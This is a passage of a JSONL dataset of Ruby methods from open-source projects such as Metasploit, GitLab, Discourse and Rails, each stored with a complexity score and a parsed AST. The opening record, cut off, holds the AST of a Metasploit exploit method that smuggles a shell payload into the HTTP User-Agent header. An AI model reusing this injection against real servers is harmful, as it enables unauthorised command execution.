end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_cmd\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"beg_boundary\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"agent\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"; echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"beg_boundary\"]}]},{\"type\":\"str\",\"children\":[\"; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\" #\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"beg_boundary\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Command sent successfully\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ret :.+?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"beg_boundary\"]}]},{\"type\":\"str\",\"children\":[\"(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Command output: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Command execution failed\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to connect to the web server\"]}]}]}]},null]}]}]}]}","id":"ff6930b5-15bc-433e-a3ba-219743160c61"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/resolver.rb","start_line":1147,"raw_source":"def make_query_packet(string,type,cls)\n        case string\n        when IPAddr\n          name = string.reverse\n          type = Net::DNS::PTR\n          @logger.warn \"PTR query required for address #{string}, changing type to PTR\"\n        when /\\d/ # Contains a number, try to see if it's an IP or IPv6 address\n          begin\n            name = IPAddr.new(string).reverse\n            type = Net::DNS::PTR\n          rescue ArgumentError\n            name = string if valid? string\n          end\n        else\n          name = string if valid? string\n        end\n\n        # Create the packet\n        packet = Net::DNS::Packet.new(name,type,cls)\n\n        if packet.query?\n          packet.header.recursive = @config[:recursive] ? 1 : 0\n        end\n\n        # DNSSEC and TSIG stuff to be inserted here\n\n        packet\n\n      end","complexity_score":31.1,"ast_json":"{\"type\":\"def\",\"children\":[\"make_query_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"cls\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"reverse\"]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"PTR\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PTR query required for address \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"str\",\"children\":[\", changing type to PTR\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\d\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"string\"]}]},\"reverse\"]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"PTR\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\",{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"lvar\",\"children\":[\"string\"]}]},null]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\",{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"lvar\",\"children\":[\"string\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"packet\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"Packet\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"cls\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"query?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"header\"]},\"recursive=\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recursive\"]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"packet\"]}]}]}","id":"819c01f1-c969-47d1-bd01-706b1b7ef0e8"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/helpers/spree/base_helper.rb","start_line":283,"raw_source":"def image_style_from_method_name(method_name)\n      style = method_name.to_s.sub(/_image$/, '')\n      if method_name.to_s.match(/_image$/) && Spree::Image.styles.keys.map(&:to_s).include?(style)\n        style\n      end\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"image_style_from_method_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"to_s\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_image$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"to_s\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_image$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Image\"]},\"styles\"]},\"keys\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"style\"]}]}]},{\"type\":\"lvar\",\"children\":[\"style\"]},null]}]}]}","id":"726b4c2c-bbb7-412f-ba9e-e2ab61713894"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/discuz_x.rb","start_line":55,"raw_source":"def execute\n    get_knowledge_about_duplicated_email\n    import_users\n    import_categories\n    import_posts\n    import_private_messages\n    import_attachments\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_knowledge_about_duplicated_email\"]},{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_posts\"]},{\"type\":\"send\",\"children\":[null,\"import_private_messages\"]},{\"type\":\"send\",\"children\":[null,\"import_attachments\"]}]}]}","id":"9155690f-6520-4a3a-9345-bd8ece6e0116"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/notes/discussion.rb","start_line":107,"raw_source":"def current_noteable?(other_noteable)\n      other_noteable.id == noteable&.id && other_noteable.base_class_name == noteable&.base_class_name\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"current_noteable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other_noteable\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_noteable\"]},\"id\"]},\"==\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_noteable\"]},\"base_class_name\"]},\"==\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"base_class_name\"]}]}]}]}","id":"eb378cea-3ef5-4590-8e5a-f24135f9738c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_view.rb","start_line":824,"raw_source":"def mentioned_users\n    @mentioned_users ||=\n      begin\n        mentions = @posts.to_h { |p| [p.id, p.mentions] }.reject { |_, v| v.empty? }\n        usernames = mentions.values\n        usernames.flatten!\n        usernames.uniq!\n\n        users = User.where(username_lower: usernames)\n        users = users.includes(:user_option, :user_status) if SiteSetting.enable_user_status\n        users = users.index_by(&:username_lower)\n\n        mentions.reduce({}) do |hash, (post_id, post_mentioned_usernames)|\n          hash[post_id] = post_mentioned_usernames.map { |username| users[username] }.compact\n          hash\n        end\n      end\n  end","complexity_score":38.6,"ast_json":"{\"type\":\"def\",\"children\":[\"mentioned_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mentioned_users\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mentions\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@posts\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"mentions\"]}]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"empty?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"usernames\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentions\"]},\"values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usernames\"]},\"flatten!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usernames\"]},\"uniq!\"]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username_lower\"]},{\"type\":\"lvar\",\"children\":[\"usernames\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_user_status\"]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user_option\"]},{\"type\":\"sym\",\"children\":[\"user_status\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"username_lower\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentions\"]},\"reduce\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_id\"]},{\"type\":\"arg\",\"children\":[\"post_mentioned_usernames\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_mentioned_usernames\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},\"compact\"]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}]}]}","id":"fea88bb5-8b94-499e-96cb-7d28cae1a928"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/pipeline.rb","start_line":162,"raw_source":"def get_loader\n        class_attributes[:loader]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_loader\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"loader\"]}]}]}","id":"03a0dbbd-a16a-4bc6-888d-a3b95c38c485"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":246,"raw_source":"def migrate(x)\n              revert do\n                change_table_comment(:testings, \"comment\")\n              end\n            end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revert\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change_table_comment\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"str\",\"children\":[\"comment\"]}]}]}]}","id":"5becda14-bfb0-447e-9813-fea90036542d"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/tag_unit_test.rb","start_line":14,"raw_source":"def test_return_raw_text_of_tag\n    tag = Tag.parse(\"long_tag\", \"param1, param2, param3\", new_tokenizer, ParseContext.new)\n    assert_equal(\"long_tag param1, param2, param3\", tag.raw)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_return_raw_text_of_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"parse\",{\"type\":\"str\",\"children\":[\"long_tag\"]},{\"type\":\"str\",\"children\":[\"param1, param2, param3\"]},{\"type\":\"send\",\"children\":[null,\"new_tokenizer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParseContext\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"long_tag param1, param2, param3\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"raw\"]}]}]}]}","id":"68c2ba7e-a9d3-411d-9d87-8e55457bbf4f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/snippet_blob_presenter.rb","start_line":34,"raw_source":"def snippet\n    blob.container\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"snippet\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob\"]},\"container\"]}]}","id":"86057579-4c02-4492-bb06-95bae17e494f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/discussions/resolve_service.rb","start_line":71,"raw_source":"def after_resolve_cleanup\n      return unless merge_request\n      return unless @resolved_count > 0\n\n      send_graphql_triggers\n      process_auto_merge\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"after_resolve_cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resolved_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"send_graphql_triggers\"]},{\"type\":\"send\",\"children\":[null,\"process_auto_merge\"]}]}]}","id":"9eb91ab7-aea7-4022-890a-e0b6f3493583"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin_helper/test_server.rb","start_line":950,"raw_source":"def create_server_pair_signed_by_ca(ca_cert_path, ca_key_path, ca_key_passphrase, cert_path, private_key_path, passphrase)\n    cert, key, _ = CertUtil.cert_option_generate_server_pair_by_ca(ca_cert_path, ca_key_path, ca_key_passphrase, create_server_options)\n    write_cert_and_key(cert_path, cert, private_key_path, key, passphrase)\n    return cert\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_server_pair_signed_by_ca\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ca_cert_path\"]},{\"type\":\"arg\",\"children\":[\"ca_key_path\"]},{\"type\":\"arg\",\"children\":[\"ca_key_passphrase\"]},{\"type\":\"arg\",\"children\":[\"cert_path\"]},{\"type\":\"arg\",\"children\":[\"private_key_path\"]},{\"type\":\"arg\",\"children\":[\"passphrase\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cert\"]},{\"type\":\"lvasgn\",\"children\":[\"key\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CertUtil\"]},\"cert_option_generate_server_pair_by_ca\",{\"type\":\"lvar\",\"children\":[\"ca_cert_path\"]},{\"type\":\"lvar\",\"children\":[\"ca_key_path\"]},{\"type\":\"lvar\",\"children\":[\"ca_key_passphrase\"]},{\"type\":\"send\",\"children\":[null,\"create_server_options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_cert_and_key\",{\"type\":\"lvar\",\"children\":[\"cert_path\"]},{\"type\":\"lvar\",\"children\":[\"cert\"]},{\"type\":\"lvar\",\"children\":[\"private_key_path\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"passphrase\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert\"]}]}]}]}","id":"2a998e56-2ed5-4ac4-af84-c85dd452b059"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/abstract/translation_test.rb","start_line":62,"raw_source":"def test_nil_key_lookup\n        default = \"foo\"\n        assert_equal default, @controller.t(nil, default: default)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nil_key_lookup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default\",{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"t\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"default\"]}]}]}]}]}]}]}","id":"5834d5eb-329a-4ae8-8d0f-57580dc5d68f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/taxon.rb","start_line":341,"raw_source":"def set_pretty_name\n      self.pretty_name = generate_pretty_name\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_pretty_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pretty_name=\",{\"type\":\"send\",\"children\":[null,\"generate_pretty_name\"]}]}]}","id":"92e24992-c7e8-4cfd-81db-7f5a14cee62b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/work_item_state_counts_resolver.rb","start_line":7,"raw_source":"def resolve(**args)\n      return if resource_parent.nil?\n\n      work_item_finder = finder(prepare_finder_params(args))\n      work_item_finder.parent_param = resource_parent\n\n      Gitlab::IssuablesCountForState.new(work_item_finder, resource_parent)\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_parent\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"work_item_finder\",{\"type\":\"send\",\"children\":[null,\"finder\",{\"type\":\"send\",\"children\":[null,\"prepare_finder_params\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item_finder\"]},\"parent_param=\",{\"type\":\"send\",\"children\":[null,\"resource_parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"IssuablesCountForState\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"work_item_finder\"]},{\"type\":\"send\",\"children\":[null,\"resource_parent\"]}]}]}]}","id":"95f0c9b3-0257-4409-9ca8-2eb4ddbbee0d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/sync_screenshots.rb","start_line":32,"raw_source":"def initialize(app:, platform:)\n      @app = app\n      @platform = platform\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"app\"]},{\"type\":\"kwarg\",\"children\":[\"platform\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@platform\",{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]}]}","id":"e790f574-11f9-4dd0-a6dd-a0d3a0a22d7c"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/emails_controller.rb","start_line":65,"raw_source":"def email_params\n      params.require(:email).permit(:subject, :body, :user_query_id, :variables, :type_of, :drip_day, :status,\n                                    :test_email_addresses)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"email_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"email\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"sym\",\"children\":[\"user_query_id\"]},{\"type\":\"sym\",\"children\":[\"variables\"]},{\"type\":\"sym\",\"children\":[\"type_of\"]},{\"type\":\"sym\",\"children\":[\"drip_day\"]},{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"test_email_addresses\"]}]}]}","id":"8364e3df-090f-4f68-af67-cf29a2564457"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable.rb","start_line":69,"raw_source":"def self.default_visible\n    where(\"score >= ?\", min_score_for_priority)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_visible\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"str\",\"children\":[\"score >= ?\"]},{\"type\":\"send\",\"children\":[null,\"min_score_for_priority\"]}]}]}","id":"fce30049-0975-459e-8146-9b23866242b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/graphql_triggers.rb","start_line":82,"raw_source":"def self.merge_request_reviewers_updated(merge_request)\n    GitlabSchema.subscriptions.trigger(\n      :merge_request_reviewers_updated, { issuable_id: merge_request.to_gid }, merge_request\n    )\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"merge_request_reviewers_updated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"subscriptions\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"merge_request_reviewers_updated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issuable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"to_gid\"]}]}]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}","id":"96f6212d-299a-4c1c-b1aa-c2c25d8995a9"}
